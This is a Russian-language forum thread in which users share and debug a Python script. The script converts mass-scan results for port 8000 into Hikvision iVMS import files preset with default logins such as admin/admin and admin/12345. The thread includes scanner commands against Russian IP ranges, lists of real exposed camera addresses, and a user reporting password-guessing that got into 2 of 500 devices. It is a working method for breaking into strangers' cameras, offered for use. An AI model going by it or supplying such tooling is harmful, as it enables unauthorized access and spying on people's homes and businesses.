Хороший вышел, как пример теперь демонстрируют %) Пригодился в принципе.. Но распиздяйство это диагноз.Горит проект - дай-ка ночью зайду на 5 мин, проверю что интересного на Пикабу :|
Новая версия скрипта http://pastebin.com/PWjBh8dE
Просили добавить ввод логина и пароля, мне не жалко. Плюс найден баг с количеством IP в программе, после определенного количества адресов, она перестает добавлять в список.
стандартные, которые в файле. Для тех кто не умеет/не хочет редактировать файл. 3 файла получаются из-за того, что в каждом по 50 ip адресов, потому что iVMS плохо работает с количеством ip адресов больше 100
Забыл добавить, прежде чем запустить скрипт, удалите раннее сгенерированные файлы. Сейчас дописать не успеваю, очень кушать хочется
Есть Пайтон 3.4, есть скрипт, есть текстовый документ с IP адресами из VNC. Что делать дальше?)
сначала пробуете запустить дабл кликом скрипт, если не получается то запускаете IDLE Python и в нем открываете и запускаете скрипт. Далее следуем всему тексту, что выдает скрипт. Стандартные настройки следующие:
login = 'admin' # тут и
passw = 'admin' # тут думаю понятно
ip_count = 50 # количество IP в одном файле
path_to_inp_file = 'c:\\test\\IPs.txt' # входной файл
path_to_out_file = 'c:\\test\\ip_out_' # путь и маска для выходного файла
Если вам не трудно, можем списаться в ВК. Уж очень нужна ваша помощь) Буду благодарен
Я нуб, конечно, но у меня пишет IDLE SyntaxError: multiple statements found while compiling a single statement
Прошу прощения, если зря побеспокою. Возможно я рукожоп, либо тормоз, хз. ВНС скачал, кинул в пустую папку, через сайт пробил диапазон по своему городу, запустил внс, отключив антивирь (удалял программу, а из винрара не хотел идти), послал к херам окошко о заблокированном приложении от W8, забил диапазон, в двух местах порты, рашн ффедерейшн, сканим!
И тут вопрос - на скриншоте можно увидеть, что творится. На каждый айпишник, запускает мне заново программу с пустым диапазоном, стандартными портами и авганистаном. Ничего не происходит, пока я не закрою новозапущенную прогу - после этого он пишет следующий айпишник и опять открывает прогу. Ну и в итоге я просто всё закрываю нах.
Доктор, это лечится?
проверил если в ручную править cvs файлы убирая в окончании ip :8000 то ivms спокойно их ест
----------------------------------------------------------------------------
----------------------------------------------------------------------------
Scan complete
--------------------------------------------[heapoverflow.com 2004-2005]----
----------------------------------------------------------------------------
COMMAND: vnc.exe -i 5.43.136.0-5.43.159.255 -p 8000 -cT -T 500
----------------------------------------------------------------------------
5.43.139.91 :8000
5.43.140.252 :8000
5.43.146.245 :8000
----------------------------------------------------------------------------
Scan complete
--------------------------------------------[heapoverflow.com 2004-2005]----
----------------------------------------------------------------------------
COMMAND: vnc.exe -i 5.102.152.0-5.102.159.255 -p 8000 -cT -T 500
----------------------------------------------------------------------------
5.102.153.72 :8000
5.102.159.121 :8000
----------------------------------------------------------------------------
Scan complete
--------------------------------------------[heapoverflow.com 2004-2005]----
----------------------------------------------------------------------------
COMMAND: vnc.exe -i 5.140.0.0-5.141.255.255 -p 8000 -cT -T 500
----------------------------------------------------------------------------
5.140.94.15 :8000
5.140.107.98 :8000
5.140.116.14 :8000
5.140.153.184 :8000
5.140.164.43 :8000
5.140.164.67 :8000
5.140.164.80 :8000
5.140.164.90 :8000
5.140.164.228 :8000
5.140.165.88 :8000
5.140.165.85 :8000
5.140.165.204 :8000
5.140.212.11 :8000
5.140.212.59 :8000
5.140.212.128 :8000
5.140.212.152 :8000
5.140.213.15 :8000
5.140.213.33 :8000
5.140.213.99 :8000
5.140.213.136 :8000
5.140.213.151 :8000
5.140.213.172 :8000
5.140.213.158 :8000
5.140.213.169 :8000
5.140.213.186 :8000
5.140.213.209 :8000
5.140.233.129 :8000
5.140.233.243 :8000
5.141.9.31 :8000
5.141.9.88 :8000
5.141.9.98 :8000
... etc"
в питон скопировал код скрипта который давали ссылку тут ниже . жму debug выходят ошибки
def menu():
os.system('cls')
print('Что меняем?',end='\n')
print('[1] Логин',end='\n')
print('[2] Пароль',end='\n')
print('[3] Путь до входн ого файла',end='\n')
print('[4] Путь до выходного файла',end='\n')
print('[5] Количество IP в файле')
print('[0] Выполнить',end='\n')
return int(input())
http://ge.tt/2gFMtMF2/v/0 - тот файл, который заработал.
http://ge.tt/1BDsxoF2/v/0 - вот мой, который сделан с помощью твоего скрипта, но не работает. Можешь посмотреть, в чём же дело?
Надо же, всего лишь одна пустая строка в текстовом файле с айпишниками, и столько геморроя. Спасибо тебе, умный человек.
Подскажите пожалуйста, я запускал скрипт в питоне, но он закрывался на пункте выполнить.
Открыл в idle, заменил в адреса отчетных папок и пароли.
Запустил в питоне, создался файл ip_out_1 екселевский, но в нем просто дублируются адреса из вводного файла
117_ip,"0","81.177.62.0-81.177.63.255","8000","0","admin","12345","0","1","0","0"
вот пример.
вы не тот входной файл указали. Необходим IPs.txt, получаемый после парсера сканера IP адресов
там не может быть диапазонов типа "81.177.62.0-81.177.63.255", там в каждой строке только один IP
Извините что беспокою, но не могли бы вы перезалить скрипт, или скинуть на мою почту? Radimo21@Gmail.com
Подскажите , у меня все генерирует - но при попытке загрузки cvs файла пишет "ошибка чтения данных ряд 2,3,4,5......50"
Вопрос: в теме фигурируют ip c портом 8000 и с портом 80
Я в VNC сканирую на 8000, а порт 80 это тоже для ip камер?
ввожу проверенные, так сказать адреса, и всегда пишет "ошибка подключения к устройству", я что-то не так сделал?
Просто адресов находит много, а подключиться к ним не могу. Скриптом перебираю пароли разные, подключился к 2 из 500. Неужели все меняют пароли? Или тут есть еще "переменная в уравнении"?